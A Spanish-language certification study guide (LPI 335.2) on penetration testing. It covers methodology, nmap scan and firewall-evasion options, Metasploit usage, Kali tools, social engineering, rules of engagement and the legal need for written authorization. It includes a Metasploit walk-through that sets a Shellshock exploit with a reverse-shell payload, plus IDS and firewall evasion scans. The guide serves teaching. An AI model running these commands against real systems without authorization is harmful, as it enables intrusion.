335.2 Pruebas de Penetracion

Introduccion

Las pruebas de penetracion (pentesting) son evaluaciones de seguridad autorizadas que simulan ataques reales para identificar vulnerabilidades explotables. Este subtema cubre la metodologia, herramientas clave como nmap y Metasploit, y el marco legal y etico.

Para el examen: Centra tu estudio en la metodologia de pentesting, los tipos de escaneo avanzado con nmap, los conceptos basicos de Metasploit y el marco legal. El examen no espera que seas un pentester, sino que comprendas el proceso.


Metodologia de Pruebas de Penetracion

Fases del Pentesting

FaseDescripcionHerramientas
1. ReconocimientoRecopilar informacion sobre el objetivowhois, dig, nslookup, theHarvester
2. EscaneoDescubrir hosts, puertos y serviciosnmap, masscan
3. EnumeracionObtener informacion detallada de serviciosnmap scripts, enum4linux
4. ExplotacionExplotar vulnerabilidades encontradasMetasploit, exploits manuales
5. Post-explotacionMantener acceso, pivotar, exfiltrarMeterpreter, shells
6. ReporteDocumentar hallazgos y recomendacionesDocumento formal

Tipos de Pruebas

TipoConocimiento previoDescripcion
Black boxNingunoSimula atacante externo sin informacion
White boxCompletoAcceso total a documentacion, codigo, credenciales
Grey boxParcialInformacion limitada (simula insider o usuario)

Reconocimiento (Reconnaissance)

Reconocimiento Pasivo

No interactua directamente con el objetivo. Usa fuentes publicas.

# Consulta WHOIS
whois ejemplo.com
 
# Consultas DNS
dig ejemplo.com ANY
dig ejemplo.com MX
dig ejemplo.com NS
dig -x 203.0.113.10    # DNS inverso
 
# Transferencia de zona (si esta mal configurada)
dig @ns1.ejemplo.com ejemplo.com AXFR
 
# Busqueda de subdominios
host -t ns ejemplo.com
host -l ejemplo.com ns1.ejemplo.com
 
# Consulta de registros de correo
dig ejemplo.com TXT    # SPF, DKIM, DMARC
 
# theHarvester - recopilacion de emails y subdominios
theHarvester -d ejemplo.com -b google
 
# Shodan (buscador de dispositivos)
# Buscar servicios expuestos del objetivo

Reconocimiento Activo

Interactua con el objetivo. Puede ser detectado.

# Descubrimiento de hosts
nmap -sn 192.168.1.0/24         # Ping sweep
nmap -sn -PE 192.168.1.0/24     # ICMP echo
nmap -sn -PS80,443 192.168.1.0/24  # TCP SYN ping
 
# Traceroute
traceroute ejemplo.com
traceroute -T ejemplo.com    # TCP traceroute

nmap - Escaneo Avanzado

Tipos de Escaneo

# Escaneo TCP SYN (sigiloso, por defecto con root)
nmap -sS 192.168.1.100
 
# Escaneo TCP Connect (completa el handshake)
nmap -sT 192.168.1.100
 
# Escaneo UDP
nmap -sU 192.168.1.100
 
# Escaneo TCP SYN + UDP
nmap -sS -sU 192.168.1.100
 
# Escaneo FIN (evade algunos firewalls)
nmap -sF 192.168.1.100
 
# Escaneo Xmas (FIN + PSH + URG)
nmap -sX 192.168.1.100
 
# Escaneo NULL (sin flags)
nmap -sN 192.168.1.100
 
# Escaneo ACK (detecta firewalls stateful)
nmap -sA 192.168.1.100
 
# Escaneo idle/zombie
nmap -sI zombie_host 192.168.1.100
Tipo de EscaneoFlagDescripcion
SYN scan-sSEnvia SYN, no completa handshake
Connect scan-sTCompleta handshake TCP
UDP scan-sUEscaneo de puertos UDP
FIN scan-sFSolo flag FIN
Xmas scan-sXFlags FIN+PSH+URG
NULL scan-sNSin flags TCP
ACK scan-sASolo flag ACK (detecta firewall)
Window scan-sWAnaliza ventana TCP
Idle scan-sIUsa host zombie

Opciones Avanzadas de nmap

# Deteccion de version de servicios
nmap -sV 192.168.1.100
 
# Deteccion de sistema operativo
nmap -O 192.168.1.100
 
# Scripts NSE (Nmap Scripting Engine)
nmap --script=default 192.168.1.100
nmap --script=vuln 192.168.1.100
nmap --script=http-enum 192.168.1.100
nmap --script=smb-vuln* 192.168.1.100
 
# Escaneo agresivo (version + OS + scripts + traceroute)
nmap -A 192.168.1.100
 
# Especificar puertos
nmap -p 80,443,8080 192.168.1.100
nmap -p 1-1000 192.168.1.100
nmap -p- 192.168.1.100            # Todos los 65535 puertos
nmap --top-ports 100 192.168.1.100
 
# Control de velocidad
nmap -T0 192.168.1.100    # Paranoico (muy lento)
nmap -T1 192.168.1.100    # Sigiloso
nmap -T2 192.168.1.100    # Educado
nmap -T3 192.168.1.100    # Normal (por defecto)
nmap -T4 192.168.1.100    # Agresivo
nmap -T5 192.168.1.100    # Insano (rapido)
 
# Salida
nmap -oN resultado.txt 192.168.1.100     # Normal
nmap -oX resultado.xml 192.168.1.100     # XML
nmap -oG resultado.gnmap 192.168.1.100   # Grepable
nmap -oA resultado 192.168.1.100         # Todos los formatos
 
# Evasion de firewall
nmap -f 192.168.1.100              # Fragmentar paquetes
nmap -D RND:5 192.168.1.100       # Señuelos aleatorios
nmap --source-port 53 192.168.1.100 # Puerto de origen especifico
nmap --data-length 25 192.168.1.100 # Añadir datos al paquete

Para el examen: Conoce las diferencias entre -sS (SYN), -sT (Connect), -sU (UDP) y los escaneos de evasion (-sF, -sX, -sN). Comprende los niveles de timing (-T0 a -T5) y los scripts NSE.


Metasploit Framework

Metasploit es el framework de pentesting mas utilizado, con una extensa base de datos de exploits.

Estructura

ComponenteDescripcion
ExploitCodigo que aprovecha una vulnerabilidad
PayloadCodigo que se ejecuta tras la explotacion
AuxiliaryModulos de apoyo (escaneo, fuzzing)
PostModulos de post-explotacion
EncoderCodificadores para evadir deteccion

Uso Basico

# Iniciar Metasploit
msfconsole
 
# Buscar exploits
msf> search type:exploit platform:linux apache
msf> search cve:2021-44228
 
# Seleccionar exploit
msf> use exploit/linux/http/apache_mod_cgi_bash_env_exec
 
# Ver opciones
msf> show options
msf> show payloads
 
# Configurar
msf> set RHOSTS 192.168.1.100
msf> set RPORT 80
msf> set PAYLOAD linux/x64/shell_reverse_tcp
msf> set LHOST 192.168.1.50
msf> set LPORT 4444
 
# Ejecutar
msf> exploit
# o
msf> run
 
# Ver sesiones activas
msf> sessions -l
msf> sessions -i 1    # Interactuar con sesion 1

Modulos Auxiliares

# Escaneo de puertos
msf> use auxiliary/scanner/portscan/tcp
msf> set RHOSTS 192.168.1.0/24
 
# Enumeracion de servicios
msf> use auxiliary/scanner/smb/smb_version
msf> use auxiliary/scanner/ssh/ssh_version
 
# Fuerza bruta
msf> use auxiliary/scanner/ssh/ssh_login

Kali Linux

Kali Linux es la distribucion de referencia para pentesting, con cientos de herramientas preinstaladas organizadas por categorias:

CategoriaHerramientas ejemplo
Information Gatheringnmap, maltego, recon-ng
Vulnerability AnalysisOpenVAS, nikto, wpscan
Web ApplicationsBurp Suite, SQLMap, dirb
Password AttacksJohn the Ripper, Hashcat, Hydra
Wirelessaircrack-ng, wifite
ExploitationMetasploit, BeEF
Sniffing/SpoofingWireshark, ettercap, mitmproxy
Post-ExploitationEmpire, mimikatz
ForensicsAutopsy, volatility

Ingenieria Social

La ingenieria social explota la confianza humana para obtener informacion o acceso.

TecnicaDescripcion
PhishingCorreos fraudulentos que imitan entidades legitimas
Spear PhishingPhishing dirigido a personas especificas
PretextingCreacion de un escenario falso para obtener informacion
BaitingDejar dispositivos infectados (USB) para que sean encontrados
TailgatingSeguir a alguien autorizado para acceder fisicamente
VishingPhishing por telefono

Reglas de Compromiso (Rules of Engagement)

Todo pentesting debe tener un documento formal que defina:

  • Alcance: Sistemas, redes e IPs incluidos y excluidos
  • Ventana de tiempo: Cuando se realizaran las pruebas
  • Tecnicas permitidas: Que tipos de ataques se pueden realizar
  • Limites: Ingenieria social, DoS, acceso fisico
  • Contactos de emergencia: A quien avisar si algo sale mal
  • Manejo de datos: Como se tratan los datos sensibles encontrados

Aspectos Legales

  • Autorizacion escrita SIEMPRE es necesaria antes de cualquier prueba
  • Las pruebas sin autorizacion son ilegales en la mayoria de jurisdicciones
  • Cumplimiento con leyes locales de proteccion de datos
  • Confidencialidad de los hallazgos

Para el examen: La autorizacion escrita es el requisito mas importante. Sin ella, cualquier actividad de pentesting es ilegal. Conoce los componentes de las reglas de compromiso.


Estandares de Reporte

Estructura de un Informe de Pentesting

  1. Resumen Ejecutivo: Vision general para la direccion
  2. Alcance y Metodologia: Que se probo y como
  3. Hallazgos: Lista de vulnerabilidades con severidad
  4. Evidencia: Capturas, logs, pruebas de concepto
  5. Impacto: Consecuencias potenciales de cada vulnerabilidad
  6. Recomendaciones: Acciones correctivas priorizadas
  7. Apendices: Detalles tecnicos, salidas de herramientas

Estandares Reconocidos

EstandarDescripcion
PTESPenetration Testing Execution Standard
OSSTMMOpen Source Security Testing Methodology Manual
NIST SP 800-115Technical Guide to Information Security Testing
OWASP Testing GuideGuia de pruebas para aplicaciones web

Trampas del examen

Errores comunes y distinciones criticas que LPI suele evaluar en este subtema:

  • Autorizacion escrita SIEMPRE obligatoria — sin autorizacion escrita, cualquier actividad de pentesting es ilegal independientemente de la intencion. El examen enfatiza este punto como el requisito mas importante. Las “rules of engagement” deben firmarse ANTES de cualquier prueba
  • Black box vs White box vs Grey box — black box: sin informacion previa (simula atacante externo); white box: acceso total a documentacion, codigo y credenciales; grey box: informacion parcial. Si la pregunta menciona “simular un atacante sin conocimiento”, la respuesta es black box
  • nmap: -sS vs -sT-sS (SYN scan) envia SYN y no completa el handshake TCP (mas sigiloso, requiere root); -sT (Connect scan) completa el handshake completo (menos sigiloso, no requiere root). Si la pregunta pide el escaneo mas sigiloso por defecto con root, es -sS
  • nmap: -sF, -sX, -sN para evasion — FIN scan (-sF), Xmas scan (-sX, FIN+PSH+URG) y NULL scan (-sN, sin flags) pueden evadir firewalls que solo filtran paquetes SYN. Sin embargo, no funcionan contra sistemas Windows (que responden RST a todos). Si la pregunta menciona evasion de firewall stateless, estas son las opciones
  • nmap: -sA detecta firewalls, no puertos — el ACK scan (-sA) no determina si un puerto esta abierto o cerrado, sino si un firewall es stateful (filtra ACKs no solicitados) o stateless (los deja pasar). No confundir con un escaneo de puertos normal
  • nmap timing templates-T0 (paranoico, mas lento) a -T5 (insano, mas rapido). -T0 y -T1 son para evasion de IDS; -T4 es recomendado para redes rapidas. El examen puede preguntar que template minimiza la deteccion por IDS (respuesta: -T0 o -T1)
  • nmap -p- vs --top-ports-p- escanea los 65535 puertos; --top-ports 100 escanea solo los 100 puertos mas comunes. No especificar ninguno escanea los 1000 puertos mas comunes por defecto. Si la pregunta pide “escaneo completo”, la respuesta es -p-
  • Metasploit: exploit vs payload — el exploit es el codigo que aprovecha la vulnerabilidad para obtener acceso; el payload es lo que se ejecuta tras la explotacion (shell, meterpreter, etc.). Son componentes separados que se configuran independientemente con set PAYLOAD
  • Reconocimiento pasivo vs activo — pasivo: no interactua con el objetivo (WHOIS, DNS publico, OSINT); activo: interactua directamente (nmap, port scanning). El pasivo no puede ser detectado por el objetivo; el activo si. Si la pregunta menciona “sin ser detectado”, la respuesta es reconocimiento pasivo
  • dig AXFR (transferencia de zona) — si un servidor DNS esta mal configurado y permite transferencias de zona sin restriccion, dig @ns1.ejemplo.com ejemplo.com AXFR revela todos los registros del dominio. Esto es una vulnerabilidad de configuracion, no un ataque sofisticado. El examen puede preguntar como prevenir esto (respuesta: restringir allow-transfer en BIND)